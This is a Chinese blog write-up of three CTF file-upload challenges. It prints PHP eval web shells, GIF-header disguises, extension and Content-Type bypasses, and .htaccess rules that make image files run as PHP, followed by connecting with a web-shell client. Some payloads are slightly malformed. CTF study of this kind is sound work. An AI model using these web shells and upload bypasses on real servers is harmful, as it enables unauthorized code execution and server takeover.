文件上传

D0wnBe@t Lv4

[极客大挑战 2019]Upload

一句话木马

  • 打开便是上传文件,那我们直接上传一句话木马:
1
<? php @eval($_POST['cmd']); ?>

修改content-type

  • 尝试抓包修改Content-Type

php后缀绕过

  • 尝试修改后缀绕过
1
.phtml .php1 .php2 .phar

又显示file里面不能包含<?,继续修改文件

绕过<?

  • 使用js+php来绕过检查

这里需要注意php的版本要大于5.4

1
<script language='php'>@eval($_POST['cmd'];</script>

但是显示不是图像:

添加GIF头来伪装

在文件的头部添加GIF89a可以伪装为gif图像,但是本质还是php文件

1
2
GIF89a;
<script language='php'>@eval($_POST['cmd']);</script>

图片中少了括号

ok!上传成功

查看文件

一般上传的文件都是在/upload路径下面

蚁剑连接❤️❤️

密码就是POST里面的参数

[GXYCTF2019]BabyUpload

  • 步骤和上一道题目一样,开始直接传入简单的一句话木马,然后说后缀不能含有ph,那么和上一道题目一样修改content-typeimage/png,shell1的后缀也改为png,但是显示太露骨
  • 此时切换后缀为jpg,content-typeimage/jpeg,此时可以绕过后缀,但是还是和上一道题目一样,也是限制了<?,于是我们传入和上一题一样的木马,就可以上传成功了,这里一样要注意php版本:

看下方的php版本明显>5.4

下面看传入成功的记录:

看样子是上传成功了,但是你去访问这个路径的时候,得到的是一个jpg的图像,这与我们传入php文件的想法背道而驰,这里说明该服务器不将该jpg文件解析为php文件,那么如何修改呢?如下:

.htaccess

1.什么是 .htaccess 文件?

.htaccess 是 Apache HTTP 服务器的配置文件,用于为特定目录定义规则,覆盖全局配置。常用的功能包括:

  • URL 重写
  • 文件访问控制
  • MIME 类型定义
  • 目录索引控制

在特定情况下,上传自定义的 .htaccess 文件可以用来改变服务器的行为,甚至执行恶意代码。

2. .htaccess 常见用途

2.1 修改文件解析规则

通过更改 MIME 类型或处理程序,将非 .php 文件解析为 PHP。

  • 强制解析特定后缀为 PHP:

    1
    2
    AddType application/x-httpd-php .jpg
    AddType application/x-httpd-php .txt

    上传后,可以将伪装的图片或文本文件作为 PHP 执行。

    访问方式:

    1
    http://target.com/upload/shell.jpg
  • 特定文件匹配:

    1
    2
    3
    <FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
    </FilesMatch>

    仅将 .jpg 文件按 PHP 解析。


2.2 文件包含绕过

如果目标服务器通过黑名单过滤某些文件扩展名(如 .php),可以利用 .htaccess 改变文件解析方式。

  • 示例:

    上传 .htaccess文件,将特定扩展名映射为 PHP:

    1
    AddHandler application/x-httpd-php .shell

    然后上传 shell.shell文件将被解析为 PHP。


2.3 禁用目录索引

通过禁用目录列表功能隐藏文件结构:

1
Options -Indexes
  • 如果目标开启目录索引,渗透者可能利用此功能发现敏感文件。通过上传 .htaccess,可以禁用目录列表。

2.4 URL 重写

利用 URL 重写规则进行路径伪装或访问控制。

  • 伪装路径:

    1
    2
    RewriteEngine On
    RewriteRule ^admin$ /login.php [L]
  • 绕过访问限制: 如果目标系统基于路径控制访问权限,可以用 .htaccess 修改访问路径,绕过限制。

  • 也就是说如果是Apache服务器,我们就可以通过添加.htaccess去将.png或者.jpg文件强制解析为.php文件,这样也就达到我们的目的了,但是在上面php版本的图片已经显示了该题目的服务器是openresty,它的核心是Nginx,无法借助.htaccess来是修改文件解析了
    • 但是

许多网站部署时会使用 ApacheNginx/OpenResty 组合架构,例如:

  • Apache 作为后端应用处理 PHP 或其他动态内容。
  • Nginx/OpenResty 作为前端反向代理。

在这种情况下:

  • .htaccess 文件实际上被 Apache 解析并生效。
  • 你的上传目录直接由 Apache 处理,而非由 OpenResty。

验证方法:

  • 上传一个明显会暴露 Apache 信息的 .htaccess,例如:

    1
    ErrorDocument 403 "Apache Detected"

    如果返回的信息是

    1
    Apache Detected

    ,说明后端是 Apache。

  • ooooooook!! 所以我们可以通过修改.htaccess来修改文件解析,如下:
1
AddType: application/x-httpd-php .jpg

然后再次上传一次shell.jpg即可,访问看一下:

ok,成功解析为php文件

蚁剑连接❤️❤️

跟第一题是一样的,也是在根目录下面

[ACTF2020 新生赛]Upload

前端文件后缀检查

  • 上传文件,发现有限制,且限制是以弹窗的形式给出,我们查看源代码中的<script>标签内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("璇烽€夋嫨瑕佷笂浼犵殑鏂囦欢!");
return false;
}
//瀹氫箟鍏佽涓婁紶鐨勬枃浠剁被鍨�
var allow_ext = ".jpg|.png|.gif";
//鎻愬彇涓婁紶鏂囦欢鐨勭被鍨�
var ext_name = file.substring(file.lastIndexOf("."));
//鍒ゆ柇涓婁紶鏂囦欢绫诲瀷鏄惁鍏佽涓婁紶
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "璇ユ枃浠朵笉鍏佽涓婁紶锛岃涓婁紶jpg銆乸ng銆乬if缁撳熬鐨勫浘鐗囧櫌锛�";
alert(errMsg);
return false;
}
}
  • 这里发现有对文件后缀经行检查,但是这只是服务器端前端的检查,我们抓包之后修改后缀即可,抓包之后修改的是后端的内容:

  • 访问检查一下:

image-20241206202750063

蚁剑连接❤️❤️

一样的步骤,flag也是在根目录下面

总结:

  • 修改文件后缀绕过检查
  • 修改Content-Type,常见修改为:
1
2
image/png
image/jpeg
  • 绕过对<?的检查,php版本大于5.4,同时添加GIF头绕过检查
1
2
GIF86a; 
<script language='php'>@eval($_POST['cmd']);</script>
  • 修改.htaccess配置绕过不解析php文件,注意是在Apache服务器中,遇到的openresty服务器可用下列语句检查是否含有Apache
1
ErrorDocument 403 "Apache Detected"

访问之后如果显示Apache Detected就说明包含有Apache,可以修改.htaccess

1
2
AddType: application/x-httpd-php .jpg 
// 即将.jpg文件解析为php文件
  • 标题: 文件上传
  • 作者: D0wnBe@t
  • 创建于 : 2024-12-06 17:06:43
  • 更新于 : 2024-12-06 20:42:33
  • 链接: http://downbeat.top/2024/12/06/文件上传/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论